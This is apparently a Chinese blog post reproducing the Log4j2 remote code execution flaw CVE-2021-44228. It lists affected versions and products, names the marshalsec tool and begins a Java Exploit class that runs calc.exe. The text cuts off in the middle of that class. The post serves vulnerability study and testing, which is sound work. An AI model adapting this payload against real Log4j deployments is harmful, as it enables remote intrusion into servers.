Log4J2远程代码执行漏洞复现（CVE-2021-44228）

半只特立独行的猪

已于 2022-07-08 09:42:30 修改

阅读量8.4k

点赞数

分类专栏：漏洞复现文章标签：安全测试工具网络安全

于 2022-04-18 11:54:18 首次发布

本文链接：https://blog.csdn.net/qq_44110340/article/details/124246070

版权

Log4J远程代码执行漏洞复现（CVE-2021-44228）

受影响版本log4j版本：2.0 <= Apache Log4j 2 <= log4j-2.15.0-rc1

受影响的应用及组件：Apache Solr、Apache Struts2、Apache Flink、Apache Druid、spring-boot-strater-log4j2、ElasticSearch、Apache Flume、Dubbo、Redis、Logstash、Apache Kafka等

复现环境：java version “1.8.0_311” 、log4j-2.14.1、marshalsec-0.0.3-SNAPSHOT-all.jar

Exploit.java

public class Exploit {
   
    public Exploit(){
   
        try{
   
            String[] commands = {
   "cmd.exe","/c","calc.exe"};
            Process pc = Runtime.getRuntime